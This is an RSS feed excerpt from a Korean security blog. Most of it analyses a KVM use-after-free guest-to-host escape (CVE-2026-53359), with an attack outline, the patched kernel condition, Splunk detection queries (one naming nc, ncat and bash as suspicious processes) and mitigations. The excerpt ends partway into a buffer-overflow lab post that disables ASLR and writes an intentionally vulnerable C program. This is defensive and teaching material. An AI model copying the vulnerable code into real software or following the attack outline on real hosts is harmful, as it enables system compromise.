&lt;td&gt;패치 버전&lt;/td&gt;
&lt;td&gt;7.1.3, 6.18.38, 6.12.95, 6.6.144, 6.1.177, 5.15.211, 5.10.260&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;발견자&lt;/td&gt;
&lt;td&gt;Hyunwoo Kim (@v4bel), Google kvmCTF 제출&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Use-After-Free(UAF)란?&lt;br /&gt;프로그램이 메모리를 해제(free)한 후에도 해당 주소를 계속 참조(use)하는 취약점. 해제된 메모리에 공격자가 원하는 데이터를 심으면 프로그램 실행 흐름을 조작할 수 있다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;KVM이란?&lt;br /&gt;Linux 커널에 내장된 하이퍼바이저. AWS, GCP 같은 클라우드 환경에서 VM을 실행하는 데 사용된다. KVM 위에서 여러 VM이 동시에 실행되며 서로 격리되어 있어야 하는데, 이 격리가 이번 취약점으로 무너진다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;호스트 vs 게스트:&lt;br /&gt;호스트 = 실제 물리 서버 (진짜 하드웨어가 있는 컴퓨터)&lt;br /&gt;게스트 = 호스트 위에서 실행되는 가상 컴퓨터(VM)&lt;br /&gt;AWS에서 EC2 인스턴스를 임대하면 데이터센터 물리 서버가 호스트이고 우리가 쓰는 인스턴스가 게스트다. 하나의 호스트 위에 여러 게스트가 동시에 실행되며 원래는 서로 접근이 불가능해야 한다. 이 취약점은 게스트에서 호스트로 탈출하는 것이 핵심이다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;3. 익스플로잇 방식&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;shadow MMU가 뭔지&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;KVM이 VM을 실행할 때 게스트의 메모리 주소를 호스트 실제 메모리 주소로 변환해야 한다. Intel EPT나 AMD NPT 같은 하드웨어 지원이 있으면 CPU가 직접 처리하지만, &lt;b&gt;중첩 가상화(nested virtualization)가 켜지는 순간 KVM이 소프트웨어로 직접 shadow page table을 관리&lt;/b&gt;한다. 이 코드가 취약점의 무대다.&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;EPT / NPT란?&lt;br /&gt;EPT(Extended Page Table) = Intel CPU 내장 기능, NPT(Nested Page Table) = AMD CPU 내장 기능. 둘 다 같은 역할로, 게스트 메모리 주소를 호스트 실제 메모리 주소로 변환하는 작업을 CPU가 하드웨어 레벨에서 처리해준다. 이름만 다르고 하는 일은 동일하다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;중첩 가상화(nested virtualization)란?&lt;br /&gt;VM 안에서 또 VM을 실행하는 것. 클라우드에서 가상화 테스트 환경을 구성하거나 클라우드 서비스 자체를 구축할 때 필요하다. 중첩 가상화가 켜지는 순간 하드웨어(EPT/NPT)만으로는 주소 변환이 불가능해서 KVM이 소프트웨어로 직접 shadow page table을 관리해야 하는데, 이 코드 안에 취약점이 있다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;GFN vs role:&lt;br /&gt;GFN(Guest Frame Number) = 게스트 메모리 페이지 번호. 메모리를 4KB 단위로 나눠 관리할 때 각 페이지의 번호표. role = shadow page가 어떤 용도인지 나타내는 속성값. 같은 GFN이라도 role이 다르면 완전히 다른 용도의 shadow page다. 취약한 코드는 GFN만 같으면 재사용했고, 패치 후에는 GFN과 role 둘 다 일치해야 재사용하도록 수정됐다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;공격 흐름:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;1. 공격자가 클라우드에서 VM 인스턴스 하나를 임대
   (기본적으로 VM 안에서 root 권한 보유)

2. 호스트에서 중첩 가상화가 활성화된 것을 확인

3. 게스트 안에서 PDE(Page Directory Entry) 매핑을 조작
   &amp;rarr; KVM이 shadow page를 재사용할 때
     GFN(guest frame number)만 비교하고 role을 비교하지 않는 버그 트리거

4. KVM이 이미 해제된 kvm_mmu_page 구조체를 계속 참조
   &amp;rarr; Use-After-Free 발생

5. 해제된 메모리에 대한 접근으로 호스트 커널 메모리 손상
   &amp;rarr; 호스트 커널 패닉(DoS) 또는 호스트에서 root 권한 코드 실행(RCE)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;왜 취약하냐면:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;xl&quot;&gt;&lt;code&gt;// 취약한 코드 (kvm_mmu_get_child_sp())
// GFN만 비교하고 role은 확인하지 않음
if (sp-&amp;gt;gfn == gfn)
    return sp;  // role이 달라도 그냥 재사용

// 패치 후 (단 한 줄 추가)
if (sp-&amp;gt;gfn == gfn &amp;amp;&amp;amp; sp-&amp;gt;role.word == role.word)
    return sp;  // GFN + role 모두 일치해야 재사용&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;16년간 존재했던 취약점이 단 한 줄의 조건 추가로 패치됐다.&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 취약점이 특히 위험한 이유:&lt;br /&gt;공개 클라우드에서 VM을 임대하면 기본적으로 VM 안에서 root 권한을 갖는다. 중첩 가상화가 허용된 환경이면 추가 권한 없이 바로 공격이 가능하다. VM 하나를 임대해서 같은 물리 서버에 올라간 다른 모든 VM을 다운시키거나 탈취할 수 있는 셈이다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;4. 어디서 흔적이 남는가 (로그 소스 매핑)&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 취약점은 하이퍼바이저 커널 내부에서 발생하기 때문에 탐지가 매우 어렵다. 직접적인 공격 흔적보다 &lt;b&gt;공격 전후 행위 패턴&lt;/b&gt;을 탐지하는 접근이 현실적이다.&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt; 로그 소스 &lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt; 탐지 가능한 흔적 &lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Linux 커널 로그 (syslog/dmesg)&lt;/td&gt;
&lt;td&gt;KVM 관련 커널 패닉, BUG/WARN 메시지&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;auditd 로그&lt;/td&gt;
&lt;td&gt;/dev/kvm 접근, 중첩 가상화 관련 ioctl 호출&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;VM 관리 로그 (libvirt, QEMU)&lt;/td&gt;
&lt;td&gt;비정상적인 VM 생성/종료 패턴&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;호스트 시스템 로그&lt;/td&gt;
&lt;td&gt;비정상적인 권한 상승, 프로세스 생성&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;네트워크 로그&lt;/td&gt;
&lt;td&gt;VM 탈출 후 호스트에서 비정상 아웃바운드 연결&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;⚠️ 탐지의 핵심 어려움&lt;br /&gt;공격이 커널 메모리 수준에서 발생하기 때문에 EDR이나 일반 로그로는 공격 자체를 직접 탐지하기 어렵다. 커널 패닉 발생 여부, /dev/kvm 비정상 접근, 중첩 가상화 활성화 여부를 모니터링하는 것이 현실적인 접근이다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;5. SPL 탐지 쿼리&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;기본형: /dev/kvm 비정상 접근 탐지&lt;/h3&gt;
&lt;pre class=&quot;pgsql&quot;&gt;&lt;code&gt;index=linux_audit OR index=syslog
| search (path=&quot;/dev/kvm&quot; OR syscall=&quot;ioctl&quot;)
| where user!=&quot;root&quot; AND user!=&quot;libvirt-qemu&quot;
| stats count as access_count by user, src_host, path
| where access_count &amp;gt; 5
| sort -access_count&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;쿼리 설명:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-sourcepos=&quot;125:1-127:64;3944-4106&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-sourcepos=&quot;125:1-125:41;3944-3984&quot;&gt;/dev/kvm은 root 또는 가상화 관련 계정만 접근해야 정상이다&lt;/li&gt;
&lt;li data-sourcepos=&quot;126:1-126:58;3985-4042&quot;&gt;일반 사용자가 /dev/kvm에 접근하거나 ioctl을 호출하면 로컬 권한 상승 시도로 볼 수 있다&lt;/li&gt;
&lt;li data-sourcepos=&quot;127:1-127:64;4043-4106&quot;&gt;user!=&quot;root&quot; AND user!=&quot;libvirt-qemu&quot; 로 정상 접근을 걸러내고 비정상만 추출&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;왜 root를 제외하는데 권한 상승이 나오냐면:&lt;br /&gt;이 취약점의 공격 경로는 두 가지다. 첫 번째는 VM 안에서 호스트를 탈출하는 경로로, VM을 임대하면 기본으로 root 권한이 있어서 권한 상승이 필요 없다. 두 번째는 호스트에 일반 유저로 접근한 공격자가 /dev/kvm을 직접 열어 취약점을 트리거하는 로컬 권한 상승 경로다. 기본형 쿼리는 이 두 번째 경로를 탐지하는 것이고, 첫 번째 경로(게스트&amp;rarr;호스트 탈출)는 개선형 쿼리(커널 오류 + 의심 프로세스 연계)로 탐지한다.&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;/span&gt;&lt;/blockquote&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;syscall이란?&lt;br /&gt;프로그램이 OS 커널에게 작업을 요청하는 인터페이스. 파일 읽기, 프로세스 생성, 네트워크 연결 같은 작업은 반드시 커널을 통해야 하고, 이 요청이 syscall이다. auditd는 이 syscall 호출을 기록하기 때문에 공격자가 호스트에서 어떤 프로세스를 실행했는지 추적할 수 있다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;exe 필드란?&lt;br /&gt;auditd 로그에서 실행된 프로그램의 전체 경로를 담는 필드. 예: exe=&quot;/bin/bash&quot;. 환경마다 필드명이 다를 수 있으므로 실제 적용 전 자사 auditd 로그의 필드명을 먼저 확인해야 한다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;⚠️ 주의: RHEL 계열에서는 기본적으로 /dev/kvm이 0666(누구나 접근 가능)으로 설정되어 있어 오탐이 많을 수 있다. 자사 환경의 /dev/kvm 권한 설정을 먼저 확인할 것.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;개선형: 커널 KVM 오류 발생 + 이후 비정상 프로세스 연계 탐지&lt;/h3&gt;
&lt;pre class=&quot;coq&quot;&gt;&lt;code&gt;index=syslog OR index=linux_logs
| search (&quot;kernel: BUG&quot; OR &quot;kernel: WARNING&quot; OR &quot;kvm_mmu&quot; OR &quot;use-after-free&quot; OR &quot;pte_list&quot;)
| eval suspicious=if(match(_raw, &quot;(kvm_mmu|shadow|sptep|rmap|pte_list)&quot;), 1, 0)
| where suspicious=1
| stats count as kvm_error_count by host, _time span=10m
| where kvm_error_count &amp;gt; 3
| join type=left host
    [search index=linux_audit
     | where syscall IN (&quot;execve&quot;, &quot;fork&quot;, &quot;clone&quot;)
     | eval suspicious_proc=if(match(exe, &quot;(bash|sh|python|perl|nc|ncat)&quot;), 1, 0)
     | where suspicious_proc=1
     | stats count as suspicious_proc_count by host]
| where isnotnull(suspicious_proc_count)
| table host, kvm_error_count, suspicious_proc_count&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;쿼리 설명:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;KVM 메모리 관련 커널 오류(BUG, WARNING, kvm_mmu 등)가 발생한 호스트를 1차 필터링&lt;/li&gt;
&lt;li&gt;해당 호스트에서 이후 의심 프로세스(bash, nc 등)가 실행되면 VM 탈출 후 공격자가 호스트에서 명령을 실행하는 패턴으로 볼 수 있다&lt;/li&gt;
&lt;li&gt;&lt;code&gt;join&lt;/code&gt;으로 커널 오류 로그와 audit 로그를 연계해 공격 전후 흐름을 한번에 포착&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;⚠️ 인덱스명 안내: syslog, linux_audit, linux_logs 는 예시다. 실제 환경의 인덱스명으로 변경 후 사용할 것. 확인 방법: Splunk 검색창에 | eventcount summarize=false 입력.&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;/span&gt;&lt;/blockquote&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;중첩 가상화 활성화 여부 확인&lt;/h3&gt;
&lt;pre class=&quot;pgsql&quot;&gt;&lt;code&gt;index=linux_logs OR index=syslog
| search (&quot;kvm_intel&quot; OR &quot;kvm_amd&quot;)
| search (&quot;nested=1&quot; OR &quot;nested_virtualization&quot; OR &quot;vmx=1&quot;)
| stats count by host, _raw
| table host, _raw&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;쿼리 설명:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;호스트에서 중첩 가상화가 활성화된 경우를 탐지한다&lt;/li&gt;
&lt;li&gt;중첩 가상화가 불필요한 환경에서 이 옵션이 켜져 있다면 즉시 비활성화를 권고한다&lt;/li&gt;
&lt;li&gt;이 쿼리는 공격 탐지보다는 &lt;b&gt;취약한 환경인지 파악&lt;/b&gt;하는 용도로 활용하는 게 맞다&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;6. 오탐지 줄이는 팁&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;/dev/kvm 권한 확인&lt;/b&gt;: RHEL, CentOS 계열은 기본적으로 /dev/kvm이 누구나 접근 가능(0666)하게 설정되어 있어 오탐이 많다. 화이트리스트를 정교하게 관리하거나 권한 자체를 0660으로 변경하는 게 근본적인 해결책&lt;/li&gt;
&lt;li&gt;&lt;b&gt;KVM 관련 커널 오류&lt;/b&gt;: 가상화 환경에서 KVM 관련 로그는 정상적으로도 발생할 수 있다. 임계값을 환경에 맞게 조정하고 평소 베이스라인을 잡아두는 게 중요&lt;/li&gt;
&lt;li&gt;&lt;b&gt;의심 프로세스&lt;/b&gt;: bash, sh는 일반 운영에서도 자주 실행된다. KVM 오류 발생 직후(10분 이내) 실행된 경우로 시간 조건을 좁혀야 오탐을 줄일 수 있다&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;7. 임시 대응 / 패치 정보&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;패치 적용:&lt;/b&gt;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;커널 버전&lt;/td&gt;
&lt;td&gt;패치 적용 버전&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6.1.x&lt;/td&gt;
&lt;td&gt;6.1.177 이상&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6.6.x&lt;/td&gt;
&lt;td&gt;6.6.144 이상&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6.12.x&lt;/td&gt;
&lt;td&gt;6.12.95 이상&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6.18.x&lt;/td&gt;
&lt;td&gt;6.18.38 이상&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;7.1.x&lt;/td&gt;
&lt;td&gt;7.1.3 이상&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-sourcepos=&quot;207:1-207:21;6788-6808&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-sourcepos=&quot;207:1-207:21;6788-6808&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;즉시 적용 가능한 완화 조치:&lt;/b&gt;&lt;/p&gt;
&lt;p data-sourcepos=&quot;207:1-207:21;6788-6808&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-sourcepos=&quot;207:1-207:21;6788-6808&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;1. 중첩 가상화 비활성화&lt;/b&gt; (패치 전 가장 효과적인 완화)&lt;/p&gt;
&lt;div data-sourcepos=&quot;210:1-216:4;6847-6927&quot;&gt;
&lt;div&gt;bash&lt;/div&gt;
&lt;div&gt;
&lt;pre class=&quot;routeros&quot; style=&quot;color: #14181f;&quot;&gt;&lt;code&gt;# Intel
modprobe kvm_intel nested=0

# AMD
modprobe kvm_amd nested=0&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;2. /dev/kvm 권한 강화&lt;/b&gt; (로컬 권한 상승 경로 차단)&lt;/p&gt;
&lt;div data-sourcepos=&quot;219:1-222:4;6968-7023&quot;&gt;
&lt;div&gt;bash&lt;/div&gt;
&lt;div&gt;
&lt;pre class=&quot;groovy&quot; style=&quot;color: #14181f;&quot;&gt;&lt;code&gt;chmod 0660 /dev/kvm
chown root:kvm /dev/kvm&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;3. 신뢰할 수 없는 게스트 VM 실행 제한&lt;/b&gt; (패치 배포 전까지)&lt;/p&gt;
&lt;blockquote data-sourcepos=&quot;226:1-229:43;7067-7300&quot; data-ke-style=&quot;style1&quot;&gt;
&lt;p data-sourcepos=&quot;226:3-226:104;7069-7170&quot; data-ke-size=&quot;size16&quot;&gt;⚠️ &lt;b&gt;배포판별 패치 확인 방법&lt;/b&gt;: 업스트림 커널 버전만으로 패치 여부를 판단하면 안 된다. 배포판마다 백포트 버전이 다르므로 자사 배포판의 보안 트래커에서 직접 확인해야 한다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-sourcepos=&quot;227:3-229:43;7173-7300&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-sourcepos=&quot;227:3-227:37;7173-7207&quot;&gt;Debian: DSA-6381-1 (7월 5일 패치 완료)&lt;/li&gt;
&lt;li data-sourcepos=&quot;228:3-228:50;7210-7257&quot;&gt;Ubuntu: ubuntu.com/security/CVE-2026-53359 확인&lt;/li&gt;
&lt;li data-sourcepos=&quot;229:3-229:43;7260-7300&quot;&gt;RHEL/CentOS: Red Hat CVE 페이지에서 RHSA 확인&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;8. 마무리 / 한계점&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;이 SPL 쿼리의 한계:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;공격이 커널 메모리 수준에서 발생해 직접 탐지가 불가능하고 간접 지표만 탐지 가능&lt;/li&gt;
&lt;li&gt;커널 패닉이 발생하면 로그 자체가 유실될 수 있어 사후 분석이 어려움&lt;/li&gt;
&lt;li&gt;완전한 VM 탈출 익스플로잇이 아직 미공개 상태라 실제 공격 패턴이 불확실&lt;br /&gt;이 취약점이 16년간 발견되지 않은 이유는 하드웨어 가속(EPT/NPT)이 기본값이 되면서 shadow MMU 코드가 거의 실행되지 않았기 때문이다. 중첩 가상화가 활성화될 때만 실행되는 레거시 코드 경로는 보안 감사에서 놓치기 쉽다. 기본값이 아닌 코드 경로도 철저히 감사해야 한다는 점을 다시 한번 상기시켜주는 취약점이다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;더 나은 탐지 방법이나 실제 운영 환경에서의 개선점이 있다면 댓글로 공유해주세요.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;참고 자료:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://thehackernews.com/2026/07/16-year-old-linux-kvm-flaw-lets-guest.html&quot;&gt;The Hacker News - Januscape 분석&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/v4bel/januscape&quot;&gt;연구자 Hyunwoo Kim 공개 writeup&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://ubuntu.com/security/CVE-2026-53359&quot;&gt;Ubuntu 보안 트래커&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.cloudlinux.com/januscape-cve-2026-53359-mitigation-and-kernel-update-on-cloudlinux/&quot;&gt;CloudLinux 완화 가이드&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2026-53359&quot;&gt;NVD - CVE-2026-53359&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>취약점 분석</category>
      <category>CVE-2026-53359</category>
      <category>Januscape</category>
      <category>KVM</category>
      <category>Linux</category>
      <category>Splunk</category>
      <category>UAF</category>
      <category>UseAfterFree</category>
      <category>VM탈출</category>
      <category>가상화</category>
      <category>취약점분석</category>
      <author>y0.0ns</author>
      <guid isPermaLink="true">https://y0-0ns.tistory.com/25</guid>
      <comments>https://y0-0ns.tistory.com/25#entry25comment</comments>
      <pubDate>Thu, 9 Jul 2026 20:39:13 +0900</pubDate>
    </item>
    <item>
      <title>버퍼 오버플로우 실습 2편 - 32비트/64비트 익스플로잇 과정</title>
      <link>https://y0-0ns.tistory.com/24</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;1. 들어가며&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;환경 구성이 끝났으니 이제 본격적으로 실습을 진행했다. 처음엔 단순히 오버플로우만 발생시키면 되는 줄 알았는데 null byte 문제, 스택 정렬 문제 등 생각보다 막히는 부분이 많았다. 32비트는 비교적 수월했는데 64비트로 넘어가면서 ROP 가젯이라는 개념까지 등장했다. 삽질한 과정도 그대로 담았으니 같은 오류를 만난다면 참고가 됐으면 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;환경 구성 글:&lt;/b&gt; &lt;a href=&quot;https://y0-0ns.tistory.com/23&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;버퍼 오버플로우 실습 1편 - 환경 구성&lt;/a&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;2. 컨테이너 접속 및 ASLR 비활성화&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1편에서 만든 컨테이너를 다시 시작하고 접속한다.&lt;/p&gt;
&lt;pre class=&quot;armasm&quot;&gt;&lt;code&gt;docker start bof_practice
docker exec -it bof_practice /bin/bash&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;접속 후 ASLR이 꺼져 있는지 먼저 확인한다. 컨테이너를 재시작하면 ASLR이 다시 켜지는 경우가 있어서 매번 확인하는 게 좋다.&lt;/p&gt;
&lt;pre class=&quot;awk&quot;&gt;&lt;code&gt;cat /proc/sys/kernel/randomize_va_space&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;0이 아니면 다시 비활성화한다.&lt;/p&gt;
&lt;pre class=&quot;awk&quot;&gt;&lt;code&gt;echo 0 &amp;gt; /proc/sys/kernel/randomize_va_space&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;aslr비활성화.png&quot; data-origin-width=&quot;788&quot; data-origin-height=&quot;438&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Bn8lt/dJMcacwZHi8/DykM8ewMquI9dgkwCyvku1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Bn8lt/dJMcacwZHi8/DykM8ewMquI9dgkwCyvku1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Bn8lt/dJMcacwZHi8/DykM8ewMquI9dgkwCyvku1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FBn8lt%2FdJMcacwZHi8%2FDykM8ewMquI9dgkwCyvku1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;788&quot; height=&quot;438&quot; data-filename=&quot;aslr비활성화.png&quot; data-origin-width=&quot;788&quot; data-origin-height=&quot;438&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;3. 취약한 C 코드 작성&lt;/h2&gt;
&lt;pre class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot;&gt;&lt;code&gt;cat &amp;gt; vuln.c &amp;lt;&amp;lt; 'EOF'
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;string.h&amp;gt;

void vulnerable(char *input) {
    char buffer[64];
    memcpy(buffer, input, strlen(input));
    printf(&quot;input: %s\n&quot;, buffer);
}

int main(int argc, char *argv[]) {
    if (argc &amp;lt; 2) {
        printf(&quot;usage: ./vuln &amp;lt;input&amp;gt;\n&quot;);
        return 1;
    }
    vulnerable(argv[1]);
    return 0;
}
EOF&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;⚠️ vim으로 작성하면 한글 주석이 깨지는 문제가 있어서 cat &amp;gt; file &amp;lt;&amp;lt; 'EOF' 방식으로 파일을 생성했다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;취약점 포인트:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;hsp&quot;&gt;&lt;code&gt;memcpy(buffer, input, strlen(input));
&amp;rarr; buffer 크기(64바이트)를 검증하지 않고
